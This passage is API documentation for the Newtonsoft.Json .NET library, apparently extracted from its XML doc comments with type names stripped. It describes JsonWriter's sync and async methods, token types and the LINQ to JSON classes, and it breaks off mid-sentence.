Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Gets or sets the writer's character array pool. Gets or sets how many s to write for each level in the hierarchy when is set to . Gets or sets which character to use to quote attribute values. Gets or sets which character to use for indenting when is set to . Gets or sets a value indicating whether object names will be surrounded with quotes. Initializes a new instance of the class using the specified . The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying . Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the specified end token. The end token to write. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes the property name of a name/value pair on a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Specifies the type of JSON token. This is returned by the if a read method has not been called. An object start token. An array start token. A constructor start token. An object property name. A comment. Raw JSON. An integer. A float. A string. A boolean. A null token. An undefined token. An object end token. An array end token. A constructor end token. A Date. Byte data. Represents a reader that provides validation. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Sets an event handler for receiving schema validation errors. Gets the text value of the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets the quotation mark character used to enclose the value of a string. Gets the type of the current JSON token. Gets the .NET type for the current JSON token. Initializes a new instance of the class that validates the content returned from the given . The to read from while validating. Gets or sets the schema. The schema. Gets the used to construct this . The specified in the constructor. Changes the reader's state to . If is set to true, the underlying is also closed. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously ets the state of the . The being written. The value being written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Gets or sets a value indicating whether the destination should be closed when this writer is closed. true to close the destination when this writer is closed; otherwise false. The default is true. Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. Gets the top. The top. Gets the state of the writer. Gets the path of the writer. Gets or sets a value indicating how JSON text output should be formatted. Gets or sets how dates are written to JSON text. Gets or sets how time zones are handled when writing JSON text. Gets or sets how strings are escaped when writing JSON text. Gets or sets how special floating point numbers, e.g. , and , are written to JSON text. Gets or sets how and values are formatted when writing JSON text. Gets or sets the culture used when writing JSON. Defaults to . Initializes a new instance of the class. Flushes whatever is in the buffer to the destination and also flushes the destination. Closes this writer. If is set to true, the destination is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the end of a JSON object. Writes the beginning of a JSON array. Writes the end of an array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end constructor. Writes the property name of a name/value pair of a JSON object. The name of the property. Writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes the end of the current JSON object or array. Writes the current token and its children. The to read the token from. Writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. Writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . Writes the token. The to write. Writes the specified end token. The end token to write. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a null value. Writes an undefined value. Writes raw JSON without changing the writer's state. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Sets the state of the . The being written. The value being written. The exception thrown when an error occurs while writing JSON text. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Specifies how JSON comments are handled when loading JSON. Ignore comments. Load comments as a with type . Specifies how duplicate property names are handled when loading JSON. Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. Throw a when a duplicate property is encountered. Contains the LINQ to JSON extension methods. Returns a collection of tokens that contains the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the ancestors of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, the ancestors of every token in the source collection. Returns a collection of tokens that contains the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the descendants of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, and the descendants of every token in the source collection. Returns a collection of child properties of every object in the source collection. An of that contains the source collection. An of that contains the properties of every object in the source collection. Returns a collection of child values of every object in the source collection with the given key. An of that contains the source collection. The token key. An of that contains the values of every token in the source collection with the given key. Returns a collection of child values of every object in the source collection. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child values of every object in the source collection with the given key. The type to convert the values to. An of that contains the source collection. The token key. An that contains the converted values of every token in the source collection with the given key. Returns a collection of converted child values of every object in the source collection. The type to convert the values to. An of that contains the source collection. An that contains the converted values of every token in the source collection. Converts the value. The type to convert the value to. A cast as a of . A converted value. Converts the value. The source collection type. The type to convert the value to. A cast as a of . A converted value. Returns a collection of child tokens of every array in the source collection. The source collection type. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child tokens of every array in the source collection. An of that contains the source collection. The type to convert the values to. The source collection type. An that contains the converted values of every token in the source collection. Returns the input typed as . An of that contains the source collection. The input typed as . Returns the input typed as . The source collection type. An of that contains the source collection. The input typed as . Represents a collection of objects. The type of token. Gets the of with the specified key. Represents a JSON array. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the array. Initializes a new instance of the class with the specified content. The contents of the array. Loads an from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads an from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Gets or sets the at the specified index. Determines the index of a specific item in the . The object to locate in the . The index of if found in the list; otherwise, -1. Inserts an item to the at the specified index. The zero-based index at which should be inserted. The object to insert into the . is not a valid index in the . Removes the item at the specified index. The zero-based index of the item to remove. is not a valid index in the . Returns an enumerator that iterates through the collection. A of that can be used to iterate through the collection. Adds an item to the . The object to add to the . Removes all items from the . Determines whether the contains a specific value. The object to locate in the . true if is found in the ; otherwise, false. Copies the elements of the to an array, starting at a particular array index. The array. Index of the array. Gets a value indicating whether the is read-only. true if the is read-only; otherwise, false. Removes the first occurrence of a specific object from the . The object to remove from the . true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . Represents a JSON constructor. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets or sets the name of this constructor. The constructor name. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name. The constructor name. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a token that can contain other tokens. Occurs when the list changes or an item in the list changes. Occurs before an item is added to the collection. Occurs when the items list of the collection has changed, or the collection is reset. Gets the container's children tokens. The container's children tokens. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Returns a collection of the descendant tokens for this token in document order. An of containing the descendant tokens of the . Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. An of containing this token, and all the descendant tokens of the . Adds the specified content as children of this . The content to be added. Adds the specified content as the first children of this . The content to be added. Creates a that can be used to add tokens to the . A that is ready to have content written to it. Replaces the child nodes of this token with the specified content. The content. Removes the child nodes from this token. Merge the specified content into this . The content to be merged. Merge the specified content into this using . The content to be merged. The used to merge the content. Gets the count of child JSON tokens. The count of child JSON tokens. Represents a collection of objects. The type of token. An empty collection of objects. Initializes a new instance of the struct. The enumerable. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Gets the of with the specified key. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Returns a hash code for this instance. A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. Represents a JSON object. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Occurs when a property value changes. Occurs when a property value is changing. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the object. Initializes a new instance of the class with the specified content. The contents of the object. Gets the node type for this . The type. Gets an of of this object's properties. An of of this object's properties. Gets a with the specified name. The property name. A with the specified name or null. Gets the with the specified name. The exact name will be searched for first and if no matching property is found then the will be used to match a property. The property name. One of the enumeration values that specifies how the strings will be compared. A matched with the specified name or null. Gets a of of this object's property values. A of of this object's property values. Gets the with the specified key. The with the specified key. Gets or sets the with the specified property name. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . is not valid JSON. Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . is not valid JSON. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. is not valid JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. is not valid JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified property name. Name of the property. The with the specified property name. Gets the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. One of the enumeration values that specifies how the strings will be compared. The with the specified property name. Tries to get the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. The value. One of the enumeration values that specifies how the strings will be compared. true if a value was successfully retrieved; otherwise, false. Adds the specified property name. Name of the property. The value. Determines whether the JSON object has the specified property name. Name of the property. true if the JSON object has the specified property name; otherwise, false. Removes the property with the specified name. Name of the property. true if item was successfully removed; otherwise, false. Tries to get the with the specified property name. Name of the property. The value. true if a value was successfully retrieved; otherwise, false. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Raises the event with the provided arguments. Name of the property. Raises the event with the provided arguments. Name of the property. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Represents a JSON property. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the property name. The property name. Gets or sets the property value. The property value. Initializes a new instance of the class from another object. A object to copy from. Gets the node type for this . The type. Initializes a new instance of the class. The property name. The property content. Initializes a new instance of the class. The property name. The property content. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a view of a . Initializes a new instance of the class. The name. When overridden in a derived class, returns whether resetting an object changes its value. true if resetting the component changes its value; otherwise, false. The component to test for reset capability. When overridden in a derived class, gets the current value of the property on a component. The value of a property for a given component. The component with the property for which to retrieve the value. When overridden in a derived class, resets the value for this property of the component to the default value. The component with the property value that is to be reset to the default value. When overridden in a derived class, sets the value of the component to a different value. The component with the property value that is to be set. The new value. When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. true if the property should be persisted; otherwise, false. The component with the property to be examined for persistence. When overridden in a derived class, gets the type of the component this property is bound to. A that represents the type of component this property is bound to. When the or methods are invoked, the object specified might be an instance of this type. When overridden in a derived class, gets a value indicating whether this property is read-only. true if the property is read-only; otherwise, false. When overridden in a derived class, gets the type of the property. A that represents the type of the property. Gets the hash code for the name of the member. The hash code for the name of the member. Represents a raw JSON string. Asynchronously creates an instance of with the content of the reader's current token. The reader. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns an instance of with the content of the reader's current token. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class. The raw json. Creates an instance 